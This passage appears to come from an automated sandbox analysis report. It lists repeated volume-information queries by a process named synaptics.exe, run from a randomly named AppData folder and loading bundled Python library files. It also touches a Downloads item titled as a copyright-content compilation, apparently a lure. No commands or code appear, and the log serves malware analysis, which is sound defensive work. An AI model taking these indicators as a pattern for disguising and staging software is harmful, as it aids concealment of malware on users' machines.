              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\site.cpython-310.pyc.20216912 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\os.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\os.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\os.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\os.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\os.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\os.cpython-310.pyc.20242008 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\stat.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\stat.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\stat.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\stat.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\stat.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\stat.cpython-310.pyc.21630760 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_collections_abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_collections_abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_collections_abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_collections_abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_collections_abc.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\_collections_abc.cpython-310.pyc.20329712 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ntpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ntpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ntpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ntpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\ntpath.cpython-310.pyc.23839064 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\genericpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\genericpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\genericpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\genericpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\genericpath.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\genericpath.cpython-310.pyc.21470528 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_sitebuiltins.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_sitebuiltins.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_sitebuiltins.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_sitebuiltins.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_sitebuiltins.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\_sitebuiltins.cpython-310.pyc.21664000 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\distutils-precedence.pth VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\__pycache__\__init__.cpython-310.pyc.7323256 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32.pth VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\lib\__pycache__\pywin32_bootstrap.cpython-310.pyc.7294368 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\base64.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\base64.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\base64.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\base64.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\base64.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\base64.cpython-310.pyc.21599800 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\re.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\re.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\re.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\re.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\re.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\re.cpython-310.pyc.21602192 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\enum.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\enum.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\enum.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\enum.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\enum.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\enum.cpython-310.pyc.23878944 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\types.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\types.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\types.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\types.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\types.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\types.cpython-310.pyc.23879152 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_compile.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_compile.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_compile.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_compile.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_compile.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\sre_compile.cpython-310.pyc.21664112 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_parse.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_parse.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_parse.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_parse.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_parse.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\sre_parse.cpython-310.pyc.21667248 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_constants.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_constants.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_constants.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_constants.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_constants.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\sre_constants.cpython-310.pyc.23933408 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\functools.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\functools.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\functools.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\functools.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\functools.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\functools.cpython-310.pyc.23935088 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__init__.py VolumeInformation
